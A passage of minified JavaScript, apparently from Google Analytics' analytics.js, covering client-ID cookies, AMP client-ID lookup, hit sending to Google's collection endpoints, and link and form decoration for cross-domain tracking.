b=A(B(a.action),"host");X(a,b,!0)}}catch(c){}};l("google_tag_data.glBridge.auto",function(a,b,c,d){O();a={callback:a,domains:b,fragment:"fragment"===c,forms:!!d};N().decorators.push(a)});l("google_tag_data.glBridge.decorate",function(a,b,c){c=!!c;a=T(a);if(b.tagName){if("a"==b.tagName.toLowerCase())return Z(a,b,c);if("form"==b.tagName.toLowerCase())return Y(a,b)}if("string"==typeof b)return W(a,b,c)});l("google_tag_data.glBridge.generate",T); l("google_tag_data.glBridge.get",function(a,b){var c=ba(!!b);b=N();b.data||(b.data={query:{},fragment:{}},c(b.data));c={};if(b=b.data)n(c,b.query),a&&n(c,b.fragment);return c});})(window); (function(){function La(a){var b=1,c;if(a)for(b=0,c=a.length-1;0<=c;c--){var d=a.charCodeAt(c);b=(b<<6&268435455)+d+(d<<14);d=b&266338304;b=0!=d?b^d>>21:b}return b};var $c=function(a){this.w=a||[]};$c.prototype.set=function(a){this.w[a]=!0};$c.prototype.encode=function(){for(var a=[],b=0;b<this.w.length;b++)this.w[b]&&(a[Math.floor(b/6)]^=1<<b%6);for(b=0;b<a.length;b++)a[b]="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_".charAt(a[b]||0);return a.join("")+"~"};var ha=window.GoogleAnalyticsObject,wa;if(wa=void 0!=ha)wa=-1<(ha.constructor+"").indexOf("String");var Za;if(Za=wa){var Qa=window.GoogleAnalyticsObject;Za=Qa?Qa.replace(/^[\s\xa0]+|[\s\xa0]+$/g,""):""}var gb=Za||"ga",jd=/^(?:utma\.)?\d+\.\d+$/,kd=/^amp-[\w.-]{22,64}$/,Ba=!1;var vd=new $c;function J(a){vd.set(a)}var Td=function(a){a=Dd(a);a=new $c(a);for(var b=vd.w.slice(),c=0;c<a.w.length;c++)b[c]=b[c]||a.w[c];return(new $c(b)).encode()},Dd=function(a){a=a.get(Gd);ka(a)||(a=[]);return a};var ea=function(a){return"function"==typeof a},ka=function(a){return"[object Array]"==Object.prototype.toString.call(Object(a))},qa=function(a){return void 0!=a&&-1<(a.constructor+"").indexOf("String")},D=function(a,b){return 0==a.indexOf(b)},sa=function(a){return a?a.replace(/^[\s\xa0]+|[\s\xa0]+$/g,""):""},ra=function(){for(var a=O.navigator.userAgent+(M.cookie?M.cookie:"")+(M.referrer?M.referrer:""),b=a.length,c=O.history.length;0<c;)a+=c--^b++;return[hd()^La(a)&2147483647,Math.round((new Date).getTime()/ 1E3)].join(".")},ta=function(a){var b=M.createElement("img");b.width=1;b.height=1;b.src=a;return b},ua=function(){},K=function(a){if(encodeURIComponent instanceof Function)return encodeURIComponent(a);J(28);return a},L=function(a,b,c,d){try{a.addEventListener?a.addEventListener(b,c,!!d):a.attachEvent&&a.attachEvent("on"+b,c)}catch(e){J(27)}},f=/^[\w\-:/.?=&%!\[\]]+$/,Nd=/^[\w+/_-]+[=]{0,2}$/,be=function(a,b){return E(M.location[b?"href":"search"],a)},E=function(a,b){return(a=a.match("(?:&|#|\\?)"+ K(b).replace(/([.*+?^=!:${}()|\[\]\/\\])/g,"\\$1")+"=([^&#]*)"))&&2==a.length?a[1]:""},xa=function(){var a=""+M.location.hostname;return 0==a.indexOf("www.")?a.substring(4):a},de=function(a,b){var c=a.indexOf(b);if(5==c||6==c)if(a=a.charAt(c+b.length),"/"==a||"?"==a||""==a||":"==a)return!0;return!1},ya=function(a,b){var c=M.referrer;if(/^(https?|android-app):\/\//i.test(c)){if(a)return c;a="//"+M.location.hostname;if(!de(c,a))return b&&(b=a.replace(/\./g,"-")+".cdn.ampproject.org",de(c,b))?void 0: c}},za=function(a,b){if(1==b.length&&null!=b[0]&&"object"===typeof b[0])return b[0];for(var c={},d=Math.min(a.length+1,b.length),e=0;e<d;e++)if("object"===typeof b[e]){for(var g in b[e])b[e].hasOwnProperty(g)&&(c[g]=b[e][g]);break}else e<a.length&&(c[a[e]]=b[e]);return c};var ee=function(){this.keys=[];this.values={};this.m={}};ee.prototype.set=function(a,b,c){this.keys.push(a);c?this.m[":"+a]=b:this.values[":"+a]=b};ee.prototype.get=function(a){return this.m.hasOwnProperty(":"+a)?this.m[":"+a]:this.values[":"+a]};ee.prototype.map=function(a){for(var b=0;b<this.keys.length;b++){var c=this.keys[b],d=this.get(c);d&&a(c,d)}};var O=window,M=document,va=function(a,b){return setTimeout(a,b)};var F=window,Ea=document,G=function(a){var b=F._gaUserPrefs;if(b&&b.ioo&&b.ioo()||a&&!0===F["ga-disable-"+a])return!0;try{var c=F.external;if(c&&c._gaUserPrefs&&"oo"==c._gaUserPrefs)return!0}catch(g){}a=[];b=String(Ea.cookie||document.cookie).split(";");for(c=0;c<b.length;c++){var d=b[c].split("="),e=d[0].replace(/^\s*|\s*$/g,"");e&&"AMP_TOKEN"==e&&((d=d.slice(1).join("=").replace(/^\s*|\s*$/g,""))&&(d=decodeURIComponent(d)),a.push(d))}for(b=0;b<a.length;b++)if("$OPT_OUT"==a[b])return!0;return Ea.getElementById("__gaOptOutExtension")? !0:!1};var Ca=function(a){var b=[],c=M.cookie.split(";");a=new RegExp("^\\s*"+a+"=\\s*(.*?)\\s*$");for(var d=0;d<c.length;d++){var e=c[d].match(a);e&&b.push(e[1])}return b},zc=function(a,b,c,d,e,g){e=G(e)?!1:eb.test(M.location.hostname)||"/"==c&&vc.test(d)?!1:!0;if(!e)return!1;b&&1200<b.length&&(b=b.substring(0,1200));c=a+"="+b+"; path="+c+"; ";g&&(c+="expires="+(new Date((new Date).getTime()+g)).toGMTString()+"; ");d&&"none"!==d&&(c+="domain="+d+";");d=M.cookie;M.cookie=c;if(!(d=d!=M.cookie))a:{a=Ca(a); for(d=0;d<a.length;d++)if(b==a[d]){d=!0;break a}d=!1}return d},Cc=function(a){return encodeURIComponent?encodeURIComponent(a).replace(/\(/g,"%28").replace(/\)/g,"%29"):a},vc=/^(www\.)?google(\.com?)?(\.[a-z]{2})?$/,eb=/(^|\.)doubleclick\.net$/i;var oc,Id=/^.*Version\/?(\d+)[^\d].*$/i,ne=function(){if(void 0!==O.__ga4__)return O.__ga4__;if(void 0===oc){var a=O.navigator.userAgent;if(a){var b=a;try{b=decodeURIComponent(a)}catch(c){}if(a=!(0<=b.indexOf("Chrome"))&&!(0<=b.indexOf("CriOS"))&&(0<=b.indexOf("Safari/")||0<=b.indexOf("Safari,")))b=Id.exec(b),a=11<=(b?Number(b[1]):-1);oc=a}else oc=!1}return oc};var Fa,Ga,fb,Ab,ja=/^https?:\/\/[^/]*cdn\.ampproject\.org\//,Ue=/^(?:www\.|m\.|amp\.)+/,Ub=[],da=function(a){if(ye(a[Kd])){if(void 0===Ab){var b;if(b=(b=De.get())&&b._ga||void 0)Ab=b,J(81)}if(void 0!==Ab)return a[Q]||(a[Q]=Ab),!1}if(a[Kd]){J(67);if(a[ac]&&"cookie"!=a[ac])return!1;if(void 0!==Ab)a[Q]||(a[Q]=Ab);else{a:{b=String(a[W]||xa());var c=String(a[Yb]||"/"),d=Ca(String(a[U]||"_ga"));b=na(d,b,c);if(!b||jd.test(b))b=!0;else if(b=Ca("AMP_TOKEN"),0==b.length)b=!0;else{if(1==b.length&&(b=decodeURIComponent(b[0]), "$RETRIEVING"==b||"$OPT_OUT"==b||"$ERROR"==b||"$NOT_FOUND"==b)){b=!0;break a}b=!1}}if(b&&tc(ic,String(a[Na])))return!0}}return!1},ic=function(){Z.D([ua])},tc=function(a,b){var c=Ca("AMP_TOKEN");if(1<c.length)return J(55),!1;c=decodeURIComponent(c[0]||"");if("$OPT_OUT"==c||"$ERROR"==c||G(b))return J(62),!1;if(!ja.test(M.referrer)&&"$NOT_FOUND"==c)return J(68),!1;if(void 0!==Ab)return J(56),va(function(){a(Ab)},0),!0;if(Fa)return Ub.push(a),!0;if("$RETRIEVING"==c)return J(57),va(function(){tc(a,b)}, 1E4),!0;Fa=!0;c&&"$"!=c[0]||(xc("$RETRIEVING",3E4),setTimeout(Mc,3E4),c="");return Pc(c,b)?(Ub.push(a),!0):!1},Pc=function(a,b,c){if(!window.JSON)return J(58),!1;var d=O.XMLHttpRequest;if(!d)return J(59),!1;var e=new d;if(!("withCredentials"in e))return J(60),!1;e.open("POST",(c||"https://ampcid.google.com/v1/publisher:getClientId")+"?key=AIzaSyA65lEHUEizIsNtlbNo-l2K18dT680nsaM",!0);e.withCredentials=!0;e.setRequestHeader("Content-Type","text/plain");e.onload=function(){Fa=!1;if(4==e.readyState){try{200!= e.status&&(J(61),Qc("","$ERROR",3E4));var g=JSON.parse(e.responseText);g.optOut?(J(63),Qc("","$OPT_OUT",31536E6)):g.clientId?Qc(g.clientId,g.securityToken,31536E6):!c&&g.alternateUrl?(Ga&&clearTimeout(Ga),Fa=!0,Pc(a,b,g.alternateUrl)):(J(64),Qc("","$NOT_FOUND",36E5))}catch(ca){J(65),Qc("","$ERROR",3E4)}e=null}};d={originScope:"AMP_ECID_GOOGLE"};a&&(d.securityToken=a);e.send(JSON.stringify(d));Ga=va(function(){J(66);Qc("","$ERROR",3E4)},1E4);return!0},Mc=function(){Fa=!1},xc=function(a,b){if(void 0=== fb){fb="";for(var c=id(),d=0;d<c.length;d++){var e=c[d];if(zc("AMP_TOKEN",encodeURIComponent(a),"/",e,"",b)){fb=e;return}}}zc("AMP_TOKEN",encodeURIComponent(a),"/",fb,"",b)},Qc=function(a,b,c){Ga&&clearTimeout(Ga);b&&xc(b,c);Ab=a;b=Ub;Ub=[];for(c=0;c<b.length;c++)b[c](a)},ye=function(a){a:{if(ja.test(M.referrer)){var b=M.location.hostname.replace(Ue,"");b:{var c=M.referrer;c=c.replace(/^https?:\/\//,"");var d=c.replace(/^[^/]+/,"").split("/"),e=d[2];d=(d="s"==e?d[3]:e)?decodeURIComponent(d):d;if(!d){if(0== c.indexOf("xn--")){c="";break b}(c=c.match(/(.*)\.cdn\.ampproject\.org\/?$/))&&2==c.length&&(d=c[1].replace(/-/g,".").replace(/\.\./g,"-"))}c=d?d.replace(Ue,""):""}(d=b===c)||(c="."+c,d=b.substring(b.length-c.length,b.length)===c);if(d){b=!0;break a}else J(78)}b=!1}return b&&!1!==a};var bd=function(a){return(a?"https:":Ba||"https:"==M.location.protocol?"https:":"http:")+"//www.google-analytics.com"},Da=function(a){this.name="len";this.message=a+"-8192"},ba=function(a,b,c){c=c||ua;if(2036>=b.length)wc(a,b,c);else if(8192>=b.length)x(a,b,c)||wd(a,b,c)||wc(a,b,c);else throw ge("len",b.length),new Da(b.length);},pe=function(a,b,c,d){d=d||ua;wd(a+"?"+b,"",d,c)},wc=function(a,b,c){var d=ta(a+"?"+b);d.onload=d.onerror=function(){d.onload=null;d.onerror=null;c()}},wd=function(a,b,c, d){var e=O.XMLHttpRequest;if(!e)return!1;var g=new e;if(!("withCredentials"in g))return!1;a=a.replace(/^http:/,"https:");g.open("POST",a,!0);g.withCredentials=!0;g.setRequestHeader("Content-Type","text/plain");g.onreadystatechange=function(){if(4==g.readyState){if(d)try{var ca=g.responseText;if(1>ca.length)ge("xhr","ver","0"),c();else if("1"!=ca.charAt(0))ge("xhr","ver",String(ca.length)),c();else if(3<d.count++)ge("xhr","tmr",""+d.count),c();else if(1==ca.length)c();else{var l=ca.charAt(1);if("d"== l)pe("https://stats.g.doubleclick.net/j/collect",d.U,d,c);else if("g"==l){wc("https://www.google.%/ads/ga-audiences".replace("%","com"),d.google,c);var k=ca.substring(2);k&&(/^[a-z.]{1,6}$/.test(k)?wc("https://www.google.%/ads/ga-audiences".replace("%",k),d.google,ua):ge("tld","bcc",k))}else ge("xhr","brc",l),c()}}catch(w){ge("xhr","rsp"),c()}else c();g=null}};g.send(b);return!0},x=function(a,b,c){return O.navigator.sendBeacon?O.navigator.sendBeacon(a,b)?(c(),!0):!1:!1},ge=function(a,b,c){1<=100* Math.random()||G("?")||(a=["t=error","_e="+a,"_v=j79","sr=1"],b&&a.push("_f="+b),c&&a.push("_m="+K(c.substring(0,100))),a.push("aip=1"),a.push("z="+hd()),wc(bd(!0)+"/u/d",a.join("&"),ua))};var qc=function(){return O.gaData=O.gaData||{}},h=function(a){var b=qc();return b[a]=b[a]||{}};var Ha=function(){this.M=[]};Ha.prototype.add=function(a){this.M.push(a)};Ha.prototype.D=function(a){try{for(var b=0;b<this.M.length;b++){var c=a.get(this.M[b]);c&&ea(c)&&c.call(O,a)}}catch(d){}b=a.get(Ia);b!=ua&&ea(b)&&(a.set(Ia,ua,!0),setTimeout(b,10))};function Ja(a){if(100!=a.get(Ka)&&La(P(a,Q))%1E4>=100*R(a,Ka))throw"abort";}function Ma(a){if(G(P(a,Na)))throw"abort";}function Oa(){var a=M.location.protocol;if("http:"!=a&&"https:"!=a)throw"abort";} function Pa(a){try{O.navigator.sendBeacon?J(42):O.XMLHttpRequest&&"withCredentials"in new O.XMLHttpRequest&&J(40)}catch(c){}a.set(ld,Td(a),!0);a.set(Ac,R(a,Ac)+1);var b=[];ue.map(function(c,d){d.F&&(c=a.get(c),void 0!=c&&c!=d.defaultValue&&("boolean"==typeof c&&(c*=1),b.push(d.F+"="+K(""+c))))});b.push("z="+Bd());a.set(Ra,b.join("&"),!0)} function Sa(a){var b=P(a,fa);!b&&a.get(Vd)&&(b="beacon");var c=P(a,gd),d=P(a,oe),e=c||(d?d+"/3":bd(!1)+"/collect");switch(P(a,ad)){case "d":e=c||(d?d+"/32":bd(!1)+"/j/collect");b=a.get(qe)||void 0;pe(e,P(a,Ra),b,a.Z(Ia));break;case "b":e=c||(d?d+"/31":bd(!1)+"/r/collect");default:b?(c=P(a,Ra),d=(d=a.Z(Ia))||ua,"image"==b?wc(e,c,d):"xhr"==b&&wd(e,c,d)||"beacon"==b&&x(e,c,d)||ba(e,c,d)):ba(e,P(a,Ra),a.Z(Ia))}e=P(a,Na);e=h(e);b=e.hitcount;e.hitcount=b?b+1:1;e=P(a,Na);delete h(e).pending_experiments; a.set(Ia,ua,!0)}function Hc(a){qc().expId&&a.set(Nc,qc().expId);qc().expVar&&a.set(Oc,qc().expVar);var b=P(a,Na);if(b=h(b).pending_experiments){var c=[];for(d in b)b.hasOwnProperty(d)&&b[d]&&c.push(encodeURIComponent(d)+"."+encodeURIComponent(b[d]));var d=c.join("!")}else d=void 0;d&&a.set(m,d,!0)}function cd(){if(O.navigator&&"preview"==O.navigator.loadPurpose)throw"abort";}function yd(a){var b=O.gaDevIds;ka(b)&&0!=b.length&&a.set("&did",b.join(","),!0)} function vb(a){if(!a.get(Na))throw"abort";};var hd=function(){return Math.round(2147483647*Math.random())},Bd=function(){try{var a=new Uint32Array(1);O.crypto.getRandomValues(a);return a[0]&2147483647}catch(b){return hd()}};function Ta(a){var b=R(a,Ua);500<=b&&J(15);var c=P(a,Va);if("transaction"!=c&&"item"!=c){c=R(a,Wa);var d=(new Date).getTime(),e=R(a,Xa);0==e&&a.set(Xa,d);e=Math.round(2*(d-e)/1E3);0<e&&(c=Math.min(c+e,20),a.set(Xa,d));if(0>=c)throw"abort";a.set(Wa,--c)}a.set(Ua,++b)};var Ya=function(){this.data=new ee};Ya.prototype.get=function(a){var b=$a(a),c=this.data.get(a);b&&void 0==c&&(c=ea(b.defaultValue)?b.defaultValue():b.defaultValue);return b&&b.Z?b.Z(this,a,c):c};var P=function(a,b){a=a.get(b);return void 0==a?"":""+a},R=function(a,b){a=a.get(b);return void 0==a||""===a?0:Number(a)};Ya.prototype.Z=function(a){return(a=this.get(a))&&ea(a)?a:ua}; Ya.prototype.set=function(a,b,c){if(a)if("object"==typeof a)for(var d in a)a.hasOwnProperty(d)&&ab(this,d,a[d],c);else ab(this,a,b,c)};var ab=function(a,b,c,d){if(void 0!=c)switch(b){case Na:wb.test(c)}var e=$a(b);e&&e.o?e.o(a,b,c,d):a.data.set(b,c,d)};var ue=new ee,ve=[],bb=function(a,b,c,d,e){this.name=a;this.F=b;this.Z=d;this.o=e;this.defaultValue=c},$a=function(a){var b=ue.get(a);if(!b)for(var c=0;c<ve.length;c++){var d=ve[c],e=d[0].exec(a);if(e){b=d[1](e);ue.set(b.name,b);break}}return b},yc=function(a){var b;ue.map(function(c,d){d.F==a&&(b=d)});return b&&b.name},S=function(a,b,c,d,e){a=new bb(a,b,c,d,e);ue.set(a.name,a);return a.name},cb=function(a,b){ve.push([new RegExp("^"+a+"$"),b])},T=function(a,b,c){return S(a,b,c,void 0,db)},db=function(){};var hb=T("apiVersion","v"),ib=T("clientVersion","_v");S("anonymizeIp","aip");var jb=S("adSenseId","a"),Va=S("hitType","t"),Ia=S("hitCallback"),Ra=S("hitPayload");S("nonInteraction","ni");S("currencyCode","cu");S("dataSource","ds");var Vd=S("useBeacon",void 0,!1),fa=S("transport");S("sessionControl","sc","");S("sessionGroup","sg");S("queueTime","qt");var Ac=S("_s","_s");S("screenName","cd");var kb=S("location","dl",""),lb=S("referrer","dr"),mb=S("page","dp","");S("hostname","dh"); var nb=S("language","ul"),ob=S("encoding","de");S("title","dt",function(){return M.title||void 0});cb("contentGroup([0-9]+)",function(a){return new bb(a[0],"cg"+a[1])});var pb=S("screenColors","sd"),qb=S("screenResolution","sr"),rb=S("viewportSize","vp"),sb=S("javaEnabled","je"),tb=S("flashVersion","fl");S("campaignId","ci");S("campaignName","cn");S("campaignSource","cs");S("campaignMedium","cm");S("campaignKeyword","ck");S("campaignContent","cc"); var ub=S("eventCategory","ec"),xb=S("eventAction","ea"),yb=S("eventLabel","el"),zb=S("eventValue","ev"),Bb=S("socialNetwork","sn"),Cb=S("socialAction","sa"),Db=S("socialTarget","st"),Eb=S("l1","plt"),Fb=S("l2","pdt"),Gb=S("l3","dns"),Hb=S("l4","rrt"),Ib=S("l5","srt"),Jb=S("l6","tcp"),Kb=S("l7","dit"),Lb=S("l8","clt"),Ve=S("l9","_gst"),We=S("l10","_gbt"),Xe=S("l11","_cst"),Ye=S("l12","_cbt"),Mb=S("timingCategory","utc"),Nb=S("timingVar","utv"),Ob=S("timingLabel","utl"),Pb=S("timingValue","utt"); S("appName","an");S("appVersion","av","");S("appId","aid","");S("appInstallerId","aiid","");S("exDescription","exd");S("exFatal","exf");var Nc=S("expId","xid"),Oc=S("expVar","xvar"),m=S("exp","exp"),Rc=S("_utma","_utma"),Sc=S("_utmz","_utmz"),Tc=S("_utmht","_utmht"),Ua=S("_hc",void 0,0),Xa=S("_ti",void 0,0),Wa=S("_to",void 0,20);cb("dimension([0-9]+)",function(a){return new bb(a[0],"cd"+a[1])});cb("metric([0-9]+)",function(a){return new bb(a[0],"cm"+a[1])});S("linkerParam",void 0,void 0,Bc,db); var Ze=T("_cd2l",void 0,!1),ld=S("usage","_u"),Gd=S("_um");S("forceSSL",void 0,void 0,function(){return Ba},function(a,b,c){J(34);Ba=!!c});var ed=S("_j1","jid"),ia=S("_j2","gjid");cb("\\&(.*)",function(a){var b=new bb(a[0],a[1]),c=yc(a[0].substring(1));c&&(b.Z=function(d){return d.get(c)},b.o=function(d,e,g,ca){d.set(c,g,ca)},b.F=void 0);return b}); var Qb=T("_oot"),dd=S("previewTask"),Rb=S("checkProtocolTask"),md=S("validationTask"),Sb=S("checkStorageTask"),Uc=S("historyImportTask"),Tb=S("samplerTask"),Vb=S("_rlt"),Wb=S("buildHitTask"),Xb=S("sendHitTask"),Vc=S("ceTask"),zd=S("devIdTask"),Cd=S("timingTask"),Ld=S("displayFeaturesTask"),oa=S("customTask"),V=T("name"),Q=T("clientId","cid"),n=T("clientIdTime"),xd=T("storedClientId"),Ad=S("userId","uid"),Na=T("trackingId","tid"),U=T("cookieName",void 0,"_ga"),W=T("cookieDomain"),Yb=T("cookiePath", void 0,"/"),Zb=T("cookieExpires",void 0,63072E3),Hd=T("cookieUpdate",void 0,!0),$b=T("legacyCookieDomain"),Wc=T("legacyHistoryImport",void 0,!0),ac=T("storage",void 0,"cookie"),bc=T("allowLinker",void 0,!1),cc=T("allowAnchor",void 0,!0),Ka=T("sampleRate","sf",100),dc=T("siteSpeedSampleRate",void 0,1),ec=T("alwaysSendReferrer",void 0,!1),I=T("_gid","_gid"),la=T("_gcn"),Kd=T("useAmpClientId"),ce=T("_gclid"),fe=T("_gt"),he=T("_ge",void 0,7776E6),ie=T("_gclsrc"),je=T("storeGac",void 0,!0),oe=S("_x_19"), gd=S("transportUrl"),Md=S("_r","_r"),qe=S("_dp"),ad=S("_jt",void 0,"n"),Ud=S("allowAdFeatures",void 0,!0);function X(a,b,c,d){b[a]=function(){try{return d&&J(d),c.apply(this,arguments)}catch(e){throw ge("exc",a,e&&e.name),e;}}};var Od=function(){this.V=100;this.$=this.fa=!1;this.oa="detourexp";this.groups=1},Ed=function(a){var b=new Od,c;if(b.fa&&b.$)return 0;b.$=!0;if(a){if(b.oa&&void 0!==a.get(b.oa))return R(a,b.oa);if(0==a.get(dc))return 0}if(0==b.V)return 0;void 0===c&&(c=Bd());return 0==c%b.V?Math.floor(c/b.V)%b.groups+1:0};function fc(){var a,b;if((b=(b=O.navigator)?b.plugins:null)&&b.length)for(var c=0;c<b.length&&!a;c++){var d=b[c];-1<d.name.indexOf("Shockwave Flash")&&(a=d.description)}if(!a)try{var e=new ActiveXObject("ShockwaveFlash.ShockwaveFlash.7");a=e.GetVariable("$version")}catch(g){}if(!a)try{e=new ActiveXObject("ShockwaveFlash.ShockwaveFlash.6"),a="WIN 6,0,21,0",e.AllowScriptAccess="always",a=e.GetVariable("$version")}catch(g){}if(!a)try{e=new ActiveXObject("ShockwaveFlash.ShockwaveFlash"),a=e.GetVariable("$version")}catch(g){}a&& (e=a.match(/[\d]+/g))&&3<=e.length&&(a=e[0]+"."+e[1]+" r"+e[2]);return a||void 0};var aa=function(a){var b=Math.min(R(a,dc),100);return La(P(a,Q))%100>=b?!1:!0},gc=function(a){var b={};if(Ec(b)||Fc(b)){var c=b[Eb];void 0==c||Infinity==c||isNaN(c)||(0<c?(Y(b,Gb),Y(b,Jb),Y(b,Ib),Y(b,Fb),Y(b,Hb),Y(b,Kb),Y(b,Lb),Y(b,Ve),Y(b,We),Y(b,Xe),Y(b,Ye),va(function(){a(b)},10)):L(O,"load",function(){gc(a)},!1))}},Ec=function(a){var b=O.performance||O.webkitPerformance;b=b&&b.timing;if(!b)return!1;var c=b.navigationStart;if(0==c)return!1;a[Eb]=b.loadEventStart-c;a[Gb]=b.domainLookupEnd-b.domainLookupStart; a[Jb]=b.connectEnd-b.connectStart;a[Ib]=b.responseStart-b.requestStart;a[Fb]=b.responseEnd-b.responseStart;a[Hb]=b.fetchStart-c;a[Kb]=b.domInteractive-c;a[Lb]=b.domContentLoadedEventStart-c;a[Ve]=N.L-c;a[We]=N.ya-c;O.google_tag_manager&&O.google_tag_manager._li&&(b=O.google_tag_manager._li,a[Xe]=b.cst,a[Ye]=b.cbt);return!0},Fc=function(a){if(O.top!=O)return!1;var b=O.external,c=b&&b.onloadT;b&&!b.isValidLoadTime&&(c=void 0);2147483648<c&&(c=void 0);0<c&&b.setPageReadyTime();if(void 0==c)return!1; a[Eb]=c;return!0},Y=function(a,b){var c=a[b];if(isNaN(c)||Infinity==c||0>c)a[b]=void 0},Fd=function(a){return function(b){if("pageview"==b.get(Va)&&!a.I){a.I=!0;var c=aa(b),d=0<E(P(b,kb),"gclid").length;(c||d)&&gc(function(e){c&&a.send("timing",e);d&&a.send("adtiming",e)})}}};var hc=!1,mc=function(a){if("cookie"==P(a,ac)){if(a.get(Hd)||P(a,xd)!=P(a,Q)){var b=1E3*R(a,Zb);ma(a,Q,U,b)}(a.get(Hd)||uc(a)!=P(a,I))&&ma(a,I,la,864E5);if(a.get(je)){var c=P(a,ce);if(c){var d=Math.min(R(a,he),1E3*R(a,Zb));d=Math.min(d,1E3*R(a,fe)+d-(new Date).getTime());a.data.set(he,d);b={};var e=P(a,fe),g=P(a,ie),ca=kc(P(a,Yb)),l=lc(P(a,W));a=P(a,Na);g&&"aw.ds"!=g?b&&(b.ua=!0):(c=["1",e,Cc(c)].join("."),0<d&&(b&&(b.ta=!0),zc("_gac_"+Cc(a),c,ca,l,a,d)));le(b)}}else J(75)}},ma=function(a,b,c,d){var e= nd(a,b);if(e){c=P(a,c);var g=kc(P(a,Yb)),ca=lc(P(a,W)),l=P(a,Na);if("auto"!=ca)zc(c,e,g,ca,l,d)&&(hc=!0);else{J(32);for(var k=id(),w=0;w<k.length;w++)if(ca=k[w],a.data.set(W,ca),e=nd(a,b),zc(c,e,g,ca,l,d)){hc=!0;return}a.data.set(W,"auto")}}},uc=function(a){var b=Ca(P(a,la));return Xd(a,b)},nc=function(a){if("cookie"==P(a,ac)&&!hc&&(mc(a),!hc))throw"abort";},Yc=function(a){if(a.get(Wc)){var b=P(a,W),c=P(a,$b)||xa(),d=Xc("__utma",c,b);d&&(J(19),a.set(Tc,(new Date).getTime(),!0),a.set(Rc,d.R),(b=Xc("__utmz", c,b))&&d.hash==b.hash&&a.set(Sc,b.R))}},nd=function(a,b){b=Cc(P(a,b));var c=lc(P(a,W)).split(".").length;a=jc(P(a,Yb));1<a&&(c+="-"+a);return b?["GA1",c,b].join("."):""},Xd=function(a,b){return na(b,P(a,W),P(a,Yb))},na=function(a,b,c){if(!a||1>a.length)J(12);else{for(var d=[],e=0;e<a.length;e++){var g=a[e];var ca=g.split(".");var l=ca.shift();("GA1"==l||"1"==l)&&1<ca.length?(g=ca.shift().split("-"),1==g.length&&(g[1]="1"),g[0]*=1,g[1]*=1,ca={H:g,s:ca.join(".")}):ca=kd.test(g)?{H:[0,0],s:g}:void 0; ca&&d.push(ca)}if(1==d.length)return J(13),d[0].s;if(0==d.length)J(12);else{J(14);d=Gc(d,lc(b).split(".").length,0);if(1==d.length)return d[0].s;d=Gc(d,jc(c),1);1<d.length&&J(41);return d[0]&&d[0].s}}},Gc=function(a,b,c){for(var d=[],e=[],g,ca=0;ca<a.length;ca++){var l=a[ca];l.H[c]==b?d.push(l):void 0==g||l.H[c]<g?(e=[l],g=l.H[c]):l.H[c]==g&&e.push(l)}return 0<d.length?d:e},lc=function(a){return 0==a.indexOf(".")?a.substr(1):a},id=function(){var a=[],b=xa().split(".");if(4==b.length){var c=b[b.length- 1];if(parseInt(c,10)==c)return["none"]}for(c=b.length-2;0<=c;c--)a.push(b.slice(c).join("."));b=M.location.hostname;eb.test(b)||vc.test(b)||a.push("none");return a},kc=function(a){if(!a)return"/";1<a.length&&a.lastIndexOf("/")==a.length-1&&(a=a.substr(0,a.length-1));0!=a.indexOf("/")&&(a="/"+a);return a},jc=function(a){a=kc(a);return"/"==a?1:a.split("/").length},le=function(a){a.ta&&J(77);a.na&&J(74);a.pa&&J(73);a.ua&&J(69)};function Xc(a,b,c){"none"==b&&(b="");var d=[],e=Ca(a);a="__utma"==a?6:2;for(var g=0;g<e.length;g++){var ca=(""+e[g]).split(".");ca.length>=a&&d.push({hash:ca[0],R:e[g],O:ca})}if(0!=d.length)return 1==d.length?d[0]:Zc(b,d)||Zc(c,d)||Zc(null,d)||d[0]}function Zc(a,b){if(null==a)var c=a=1;else c=La(a),a=La(D(a,".")?a.substring(1):"."+a);for(var d=0;d<b.length;d++)if(b[d].hash==c||b[d].hash==a)return b[d]};var Jc=new RegExp(/^https?:\/\/([^\/:]+)/),De=O.google_tag_data.glBridge,Kc=/(.*)([?&#])(?:_ga=[^&#]*)(?:&?)(.*)/,od=/(.*)([?&#])(?:_gac=[^&#]*)(?:&?)(.*)/;function Bc(a){if(a.get(Ze))return J(35),De.generate($e(a));var b=P(a,Q),c=P(a,I)||"";b="_ga=2."+K(pa(c+b,0)+"."+c+"-"+b);(a=af(a))?(J(44),a="&_gac=1."+K([pa(a.qa,0),a.timestamp,a.qa].join("."))):a="";return b+a} function Ic(a,b){var c=new Date,d=O.navigator,e=d.plugins||[];a=[a,d.userAgent,c.getTimezoneOffset(),c.getYear(),c.getDate(),c.getHours(),c.getMinutes()+b];for(b=0;b<e.length;++b)a.push(e[b].description);return La(a.join("."))}function pa(a,b){var c=new Date,d=O.navigator,e=c.getHours()+Math.floor((c.getMinutes()+b)/60);return La([a,d.userAgent,d.language||"",c.getTimezoneOffset(),c.getYear(),c.getDate()+Math.floor(e/24),(24+e)%24,(60+c.getMinutes()+b)%60].join("."))} var Dc=function(a){J(48);this.target=a;this.T=!1};Dc.prototype.ca=function(a,b){if(a){if(this.target.get(Ze))return De.decorate($e(this.target),a,b);if(a.tagName){if("a"==a.tagName.toLowerCase()){a.href&&(a.href=qd(this,a.href,b));return}if("form"==a.tagName.toLowerCase())return rd(this,a)}if("string"==typeof a)return qd(this,a,b)}}; var qd=function(a,b,c){var d=Kc.exec(b);d&&3<=d.length&&(b=d[1]+(d[3]?d[2]+d[3]:""));(d=od.exec(b))&&3<=d.length&&(b=d[1]+(d[3]?d[2]+d[3]:""));a=a.target.get("linkerParam");var e=b.indexOf("?");d=b.indexOf("#");c?b+=(-1==d?"#":"&")+a:(c=-1==e?"?":"&",b=-1==d?b+(c+a):b.substring(0,d)+c+a+b.substring(d));b=b.replace(/&+_ga=/,"&_ga=");return b=b.replace(/&+_gac=/,"&_gac=")},rd=function(a,b){if(b&&b.action)if("get"==b.method.toLowerCase()){a=a.target.get("linkerParam").split("&");for(var c=0;c<a.length;c++){var d= a[c].split("="),e=d[1];d=d[0];for(var g=b.childNodes||[],ca=!1,l=0;l<g.length;l++)if(g[l].name==d){g[l].setAttribute("value",e);ca=!0;break}ca||(g=M.createElement("input"),g.setAttribute("type","hidden"),g.setAttribute("name",d),g.setAttribute("value",e),b.appendChild(g))}}else"post"==b.method.toLowerCase()&&(b.action=qd(a,b.action))}; Dc.prototype.S=function(a,b,c){function d(g){try{g=g||O.event;a:{var ca=g.target||g.srcElement;for(g=100;ca&&0<g;){if(ca.href&&ca.nodeName.match(/^a(?:rea)?$/i)){var 